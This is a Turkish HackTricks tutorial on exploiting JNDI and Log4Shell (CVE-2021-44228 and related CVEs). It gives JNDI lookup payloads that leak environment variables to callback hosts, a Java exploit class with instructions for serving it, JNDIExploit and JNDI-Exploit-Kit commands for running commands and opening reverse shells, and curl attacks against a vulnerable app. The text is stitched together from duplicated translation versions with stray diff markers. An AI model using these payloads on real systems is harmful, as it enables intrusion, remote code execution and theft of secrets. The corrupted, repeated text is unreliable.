* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
JNDI, Java'ya entegre edilmiş ve 1990'ların sonlarından beri hizmet veren bir dizin hizmeti olarak Java programlarının veri veya nesneleri bir adlandırma sistemi aracılığıyla bulmasını sağlar. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler ve uzak Java nesneleri de dahil olmak üzere farklı sistemlerden veri alınmasına izin verir. Yaygın SPI'lar arasında CORBA COS, Java RMI Registry ve LDAP bulunur.
JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş olup bir dizin hizmeti olarak hizmet verir, Java programlarının veri veya nesneleri bir isimlendirme sistemi aracılığıyla bulmasını sağlar. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler ve uzak Java nesneleri de dahil olmak üzere farklı sistemlerden veri alınmasına izin verir. Ortak SPI'lar arasında CORBA COS, Java RMI Kayıt Defteri ve LDAP bulunur.
### JNDI Adlandırma Referansı
### JNDI İsimlendirme Referansı
Java nesneleri, iki şekilde gelen JNDI Adlandırma Referansları kullanılarak depolanabilir ve alınabilir:
Java nesneleri, iki şekilde kullanılarak JNDI İsimlendirme Referansları kullanılarak depolanabilir ve alınabilir:
* **Referans Adresleri**: Bir nesnenin konumunu belirtir (örneğin, _rmi://sunucu/ref_), belirtilen adresten doğrudan alınmasına izin verir.
* **Uzak Fabrika**: Uzak bir fabrika sınıfına referans verir. Erişildiğinde, sınıf uzak konumdan indirilir ve örneklenir.
Ancak, bu mekanizma kötüye kullanılabilir ve potansiyel olarak keyfi kod yüklenmesine yol açabilir. Bir karşı önlem olarak:
Ancak, bu mekanizma kötüye kullanılabilir ve potansiyel olarak keyfi kod yüklenmesine ve yürütülmesine yol açabilir. Bir karşı önlem olarak:
* **RMI**: JDK 7u21'den itibaren varsayılan olarak `java.rmi.server.useCodeabseOnly = true`, uzak nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, neyin yüklenebileceğini daha da sınırlar.
* **LDAP**: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak `com.sun.jndi.ldap.object.trustURLCodebase = false`, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. `true` olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine tabi olmadan uzaktan kod yürütme mümkün olur.
* **LDAP**: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak `com.sun.jndi.ldap.object.trustURLCodebase = false`, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. `true` olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine gerek olmaksızın uzaktan kod yürütme mümkündür.
* **CORBA**: Belirli bir özelliği olmasa da, Güvenlik Yöneticisi her zaman etkindir.
Ancak, JNDI bağlantılarını çözen **Adlandırma Yöneticisi** içinde yerleşik güvenlik mekanizmaları bulunmadığından, herhangi bir kaynaktan nesnelerin alınmasına izin verilebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmasına yol açabileceği için risk oluşturur.
Ancak, JNDI bağlantılarını çözen **İsimlendirme Yöneticisi** içinde yerleşik güvenlik mekanizmaları bulunmamaktadır, bu da herhangi bir kaynaktan nesnelerin alınmasına izin verebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmaya yönlendirilmesine neden olabilir.
Sömürülebilecek URL örnekleri şunları içerir:
Sömürülebilir URL örnekleri şunları içerir:
* _rmi://saldırgan-sunucu/bar_
* _ldap://saldırgan-sunucu/bar_
* _iiop://saldırgan-sunucu/bar_
Koruma önlemlerine rağmen, güvenlik açıkları genellikle güvensiz kaynaklardan JNDI yüklenmesine karşı koruma eksikliği ve mevcut korumaların atlatılma olasılığı nedeniyle devam etmektedir.
Koruma önlemlerine rağmen, güvenlik açıkları, güvenilmeyen kaynaklardan JNDI'nin yüklenmesine karşı koruma olmaması ve mevcut korumaların atlatılma olasılığı nedeniyle genellikle devam etmektedir.
### JNDI Örneği
@ -49,15 +57,15 @@ Koruma önlemlerine rağmen, güvenlik açıkları genellikle güvensiz kaynakla
### CORBA Genel Bakış
CORBA (Ortak Nesne İstek Yönlendirici Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir **Uyumlu Nesne Referansı (IOR)** kullanır. Bu referans, şunları içeren temel bilgileri içerir:
CORBA (Ortak Nesne İstek Broker Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir **Uyumlu Nesne Referansı (IOR)** kullanır. Bu referans, şunları içeren temel bilgileri içerir:
* **Tür Kimliği**: Bir arayüz için benzersiz tanımlayıcı.
* **Kod Tabanı**: Yer tutucu sınıfın alınacağı URL.
* **Kod Tabanı**: Yer tutucu sınıfın alınması için URL.
Önemli bir şekilde, CORBA temelde savunmasız değildir. Genellikle güvenliği sağlamak için şunlar yapılır:
Özellikle, CORBA temelde savunmasız değildir. Genellikle güvenliği sağlamak için:
* Bir **Güvenlik Yöneticisi** kurulumu.
* Güvenlik Yöneticisinin potansiyel olarak kötü amaçlı kod tabanlarına bağlantıları izin vermesi. Bu, şunlar aracılığıyla başarılabilir:
* Güvenlik Yöneticisinin potansiyel olarak kötü amaçlı kod tabanlarına bağlantıları izin vermesi için yapılandırılması. Bu, şunlar aracılığıyla başarılabilir:
* Soket izni, örneğin, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Dosya okuma izinleri, ya evrensel olarak (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ya da kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.
@ -65,18 +73,18 @@ Ancak, bazı satıcı politikaları hoşgörülü olabilir ve bu bağlantılara
### RMI Bağlamı
RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekir, bu da CORBA'da da geçerlidir.
RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekir, bu da CORBA'da da geçerlidir.
### LDAP
Öncelikle, Bir **Arama** ve Bir **Arama** arasında ayrım yapmamız gerekiyor.\
Bir **arama**, `ldap://localhost:389/o=JNDITutorial` gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulmak ve **özniteliklerini almak** için kullanılır.\
Bir **arama**, **adlandırma hizmetleri** içindir çünkü **bir isme bağlı olan her şeyi almak istiyoruz**.
Öncelikle, Bir **Arama** ile Bir **Arama** arasında ayrım yapmamız gerekmektedir.\
Bir **arama**, `ldap://localhost:389/o=JNDITutorial` gibi bir URL kullanacaktır ve LDAP sunucusundan JNDITutorial nesnesini bulacak ve **özniteliklerini alacaktır**.\
Bir **arama**, **isim hizmetleri** içindir çünkü **bir isme bağlı olan her şeyi almak istiyoruz**.
Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true` olarak çağrıldıysa, döndürülen nesne yeniden oluşturulacaktır**.
Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true` olarak çağrıldıysa, dönen nesne yeniden oluşturulacaktır**.
Bu nedenle, bu seçeneklere saldırmak için birkaç yol vardır.\
Bir **saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yürütülecek yükler ekleyebilir** (LDAP sunucusuna erişiminiz varsa onlarca makineyi **tehlikeye atmak için çok yararlıdır**). Bunun başka bir yolunu ise örneğin bir LDAP aramasında **MitM saldırısı gerçekleştirmek** olabilir.
Bir **saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yürütülecek yükler ekleyebilir** (LDAP sunucusuna erişiminiz varsa onlar aracılığıyla onlarca makineyi tehlikeye atmak çok yararlı olabilir). Bunun başka bir yolu da örneğin bir LDAP aramasında **MitM saldırısı gerçekleştirmektir**.
Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak LDAP'yi kontrol edebilir ve saldırıyı geri gönderebilirsiniz (log4shell).
@ -84,8 +92,8 @@ Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
**Sömürü serileştirilir** ve serileştirilir.\
`trustURLCodebase` `true` ise, bir saldırgan kod tabanında kendi sınıflarını sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekir.
**Sömürü serileştirilir** ve deserialize edilecektir.\
`trustURLCodebase` `true` ise, bir saldırgan kendi sınıflarını kod tabanında sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekecektir.
#### JNDI Referansı sömürüsü
@ -95,26 +103,26 @@ Bu LDAP'ı saldırmak için **JavaFactory referanslarını** kullanmak daha kola
## Log4Shell Zafiyeti
Zafiyet, Log4j'de tanımlanan özel bir sözdizimini desteklediği için ortaya çıkar. Bu sözdizimi `${prefix:ad}` şeklinde olup `prefix` farklı [**Arama**](https://logging.apache.org/log4j/2.x/manual/lookups.html) türlerinden biridir ve `ad` değerinin değerlendirilmesi gerekmektedir. Örneğin, `${java:sürüm}` mevcut çalışan Java sürümünü temsil eder.
Zafiyet, Log4j'de tanımlanan özel bir sözdizimini desteklediği için ortaya çıkar [**özel bir sözdizimi**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) `${prefix:name}` şeklinde, burada `prefix` farklı [**Arama**](https://logging.apache.org/log4j/2.x/manual/lookups.html) türlerinden biri olup `name` değerlendirilmelidir. Örneğin, `${java:version}` mevcut çalışan Java sürümüdür.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) bir `jndi` Arama özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak `java:comp/env/` ile öneklenir. Ancak, anahtar kendisi **":"** içeriyorsa, bu varsayılan önek uygulanmaz.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) bir `jndi` Arama özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak `java:comp/env/` ile öneklenir. Ancak, anahtar kendisi bir **":"** içeriyorsa, bu varsayılan önek uygulanmaz.
Anahtarın içinde bir **:** olduğunda, `${jndi:ldap://örnek.com/a}` gibi, **bir önek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Aramalar, Log4j'nin yapılandırmasında ve satırlar günlendiğinde kullanılabilir.
Anahtarın içinde bir **:** olduğunda, `${jndi:ldap://örnek.com/a}` gibi, **bir önek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Ve bu Aramalar, Log4j'nin yapılandırmasında olduğu gibi kullanılabileceği gibi, satırlar günlüğe kaydedilirken de kullanılabilir.
Bu nedenle, yalnızca bir **kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'nin savunmasız bir sürümüne ihtiyaç duyulur**. Ve çünkü bu, Java uygulamaları tarafından geniş çapta kullanılan bir kütüphane olup (İnternet üzerindeki uygulamalar da dahil) örneğin User-Agent gibi alınan HTTP başlıklarını günlendirmek için log4j'nin çok yaygın olarak kullanıldığı çok yaygındı. Ancak, log4j sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi günlendirmek için kullanılmaz.
Bu nedenle, yalnızca bir **kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'nin savunmasız bir sürümüne ihtiyaç duyulur**. Ve çünkü bu, Java uygulamaları tarafından geniş çapta kullanılan bir kütüphanedir (İnternet üzerinden erişilebilen uygulamalar dahil) örneğin HTTP başlıklarının alındığı gibi log4j'nin çok yaygın olarak kullanıldığı çok yaygındı. Ancak, log4j sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi kaydetmek için kullanılmaz.
## Log4Shell İlgili CVE'lerin Genel Bakışı
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritik]**
Bu zafiyet, `log4j-core` bileşenindeki kritik bir **güvenilmeyen serileştirme açığı** olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **Uzaktan kod yürütme (RCE)** sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiş olup çeşitli Apache çerçevelerini etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Bu zafiyet, `log4j-core` bileşeninde kritik bir **güvensiz serileştirme açığı** olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **Uzaktan kod yürütme (RCE)** sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiş olup çeşitli Apache çerçevelerini etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritik]**
Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'da eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)**ığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların hazırlanan yükler aracılığıyla DoS saldırılarına neden olmalarına olanak tanır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerinin kaldırılması ve JNDI'nın varsayılan olarak devre dışı bırakılmasıyla 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.
Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'da eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)**ığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların oluşturulmuş yükler aracılığıyla DoS saldırılarına neden olmalarına izin verir. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerini kaldırarak ve JNDI'yi varsayılan olarak devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Yüksek]**
`JMSAppender` kullanarak varsayılan olmayan yapıları etkileyen bu CVE, güvenilmeyen serileştirme açığıdır ve 1.x dalı için herhangi bir düzeltme mevcut değildir ve ömürlerini tamamlamıştır, `log4j-core 2.17.0`'a yükseltme önerilir.
`JMSAppender` kullanarak varsayılan olmayan yapıları etkileyen bu CVE, güvensiz serileştirme açığıdır ve 1.x dalı için mevcut bir düzeltme bulunmamaktadır, bu dalın ömrü sona ermiştir ve `log4j-core 2.17.0`'a yükseltme önerilir.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Orta]**
@ -122,7 +130,7 @@ Bu zafiyet, Log4j 1.x'in halefi olan **Logback günlükleme çerçevesini** etki
### **CVE-2021-45105** **\[Yüksek]**
Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için `log4j 2.17.0` sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) yer verilmiştir.
Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için `log4j 2.17.0` sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) yer almaktadır.
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
@ -132,7 +140,7 @@ Log4j sürüm 2.17'yi etkileyen bu CVE, saldırganın log4j'in yapılandırma do
### Keşif
Bu zafiyet, korumasızsa belirttiğiniz adres üzerine en az bir **DNS isteği** göndereceğinden keşfetmesi çok kolaydır. Bu nedenle, şu gibi yükler:
Bu zafiyet, korumasızsa belirttiğiniz adres için en az bir **DNS isteği** göndereceğinden keşfetmesi çok kolaydır. Bu nedenle, şu gibi yükler:
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` ([canarytokens.com](https://canarytokens.org/generate) kullanarak)
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` ([interactsh](https://github.com/projectdiscovery/interactsh) kullanarak)
@ -140,10 +148,10 @@ Bu zafiyet, korumasızsa belirttiğiniz adres üzerine en az bir **DNS isteği**
* `${jndi:ldap://2j4ayo.dnslog.cn}` ([dnslog](http://dnslog.cn) kullanarak)
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` ([huntress](https://log4shell.huntress.com) kullanarak)
**Bir DNS isteği alınsa bile uygulamanın sömürülebilir** (veya hatta savunmasız) olduğu anlamına gelmez, sömürmeyi denemeniz gerekecektir.
**Bir DNS isteği alınsa bile uygulamanın sömürülebilir** (veya hatta savunmasız) olduğu anlamına gelmez, bunu sömürmeye çalışmanız gerekecektir.
{% hint style="info" %}
**Sürüm 2.15'i sömürmek için** **yerel ana bilgisayar kontrol atlatmasını** eklemeniz gerektiğini unutmayın: ${jndi:ldap://**127.0.0.1#**...}
**2.15 sürümünü sömürmek için** **localhost kontrol atlatma** eklemeniz gerekmektedir: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Yerel Keşif**
@ -154,13 +162,13 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
```
### **Doğrulama**
Önce listelenen bazı platformlar, istendiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.\
Bu, 2 şey için çok yararlı olabilir:
Önceki listelenen platformlardan bazıları, istendiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.\
Bu, 2 şey için çok faydalı olabilir:
* Zafiyeti **doğrulamak** için
* Zafiyeti istismar ederek bilgi **dışarı sızdırmak** için
* Zafiyeti istismar ederek bilgi **dışarı çıkarmak** için
Örneğin şunu isteyebilirsiniz:\
Örneğin şöyle bir şey isteyebilirsiniz:\
veya `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** gibi ve bir **DNS isteği, ortam değişkeninin değeriyle alındığında**, uygulamanın zafiyetli olduğunu bilirsiniz.
Denemeye çalışabileceğiniz diğer bilgiler:
@ -217,9 +225,9 @@ Any other env variable name that could store sensitive information
### RCE Bilgisi
{% hint style="info" %}
JDK sürümleri 6u141, 7u131 veya 8u121'den yüksek olan sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin **deserializasyon saldırı vektörüne karşı korunmadığını** unutmamak önemlidir.
JDK sürümleri 6u141'den yüksek, 7u131'den yüksek veya 8u121'den yüksek olan ana bilgisayarlar, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin **serileştirme saldırı vektörüne karşı korunmadığını** unutmamak önemlidir.
Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için, Java uygulaması içinde bir **güvenilir cihaz** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.
Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için Java uygulaması içinde bir **güvenilir cihaz** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.
**Daha fazla bilgi için** (_RMI ve CORBA vektörlerindeki kısıtlamalar gibi_) **önceki JNDI Naming Referans bölümünü** kontrol edin veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) adresini ziyaret edin.
{% endhint %}
@ -244,9 +252,9 @@ e.printStackTrace();
}
}
```
Java dosyasını bir sınıf dosyasına derlemek için şunu kullanın: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde bir **HTTP sunucusu** başlatın: `python3 -m http.server`. **marshalsec LDAP sunucusunun** bu HTTP sunucusuna referans verdiğinden emin olun.
Java dosyasını bir sınıf dosyasına derlemek için şunu kullanın: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde şu komutla bir **HTTP sunucusu** başlatın: `python3 -m http.server`. **marshalsec LDAP sunucusunun** bu HTTP sunucusuna referans verdiğinden emin olun.
Hassas web sunucusunda exploit sınıfının yürütülmesini tetiklemek için şu şekilde bir payload gönderin:
Hassas web sunucusunda exploit sınıfının yürütülmesini tetiklemek için şu şekilde bir yük gönderin:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
@ -260,7 +268,7 @@ Bazı nedenlerden dolayı yazar, log4shell keşfinden sonra bu projeyi github'da
Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu nedenle ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmediğinizi bilerek jar dosyasını çalıştırın.
{% endhint %}
Bu örnekte, **log4shell'e karşı savunmasız web sunucusunu** 8080 numaralı portta çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README dosyasında nasıl çalıştırılacağını bulabilirsiniz_). Bu savunmasız uygulama, HTTP isteği başlığı _X-Api-Version_ içeriğini log4shell'in savunmasız bir sürümüyle günlüyor.
Bu örnekte, **log4shell'e karşı savunmasız web sunucusunu** 8080 numaralı portta çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README'de nasıl çalıştırılacağını bulabilirsiniz_). Bu savunmasız uygulama, HTTP isteği başlığı _X-Api-Version_'ın içeriğini log4shell'in savunmasız bir sürümüyle günlüyor.
Daha sonra, **JNDIExploit** jar dosyasını indirip şu şekilde çalıştırabilirsiniz:
```bash
@ -268,17 +276,17 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Kodları sadece birkaç dakika okuduktan sonra, _com.feihong.ldap.LdapServer_ ve _com.feihong.ldap.HTTPServer_ içinde **LDAP ve HTTP sunucularının nasıl oluşturulduğunu** görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu da saldırıyı gerçekleştirecektir.\
_com.feihong.ldap.gadgets_ içinde **kullanılabilecek bazı belirli cihazlar** bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve _com.feihong.ldap.template_ içinde, **saldırıları oluşturacak** farklı şablon sınıflarını görebilirsiniz.
Kodları sadece birkaç dakika okuduktan sonra, _com.feihong.ldap.LdapServer_ ve _com.feihong.ldap.HTTPServer_ dosyalarında **LDAP ve HTTP sunucularının nasıl oluşturulduğunu** görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu sunucu ise saldırıyı gerçekleştirecektir.\
_com.feihong.ldap.gadgets_ içinde **kullanılabilecek bazı belirli cihazlar** bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve _com.feihong.ldap.template_ içinde **saldırıları oluşturacak** farklı şablon sınıflarını görebilirsiniz.
Tüm mevcut saldırıları **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** ile görebilirsiniz. Bazı faydalı olanlar:
Tüm mevcut saldırıları **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** komutu ile görebilirsiniz. Bazı faydalı olanlar:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
Yani, örneğimizde zaten o ık docker uygulaması çalışıyor. Ona saldırmak için:
Yani, örneğimizde zaten o docker ığı olan uygulama çalışıyor. Ona saldırmak için:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -289,11 +297,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
```
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
Saldırıları gönderirken, **JNDIExploit-1.2-SNAPSHOT.jar** dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.
**Diğer saldırı seçeneklerini kontrol etmek için `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` komutunu hatırlayın. Ayrıca, ihtiyaç duyarsanız, LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.**
Benzer şekilde önceki açıktaki gibi, bu zafiyeti sömürmek için [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanabilirsiniz.\
Önceki saldırıya benzer şekilde, bu zafiyeti sömürmek için [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)'i kullanmayı deneyebilirsiniz.\
Kurban'a göndermek için URL'leri oluşturabilirsiniz:
```bash
# Get reverse shell in port 4444 (only unix)
@ -304,16 +308,16 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
```
_Bu saldırı, özel olarak oluşturulmuş bir java nesnesini kullanarak **THM solar room** gibi laboratuvarlarda çalışacaktır. Bununla birlikte, genel olarak çalışmayacaktır (çünkü Java varsayılan olarak LDAP kullanarak uzak kod tabanını yükleme şeklinde yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kod yürütmüyor gibi görünüyor._
### Uzaktan Kod Yürütme (RCE) - ysoserial ve JNDI-Exploit-Kit
### RCE - ysoserial ve JNDI-Exploit-Kit
Bu seçenek, **yalnızca belirli sınıflara güvenen Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez**. Bu nedenle, **ysoserial**, **güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacak** ve **keyfi kod yürütmek için kullanılabilecek aygıtlar olarak** kullanılabilecek (_ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır_).
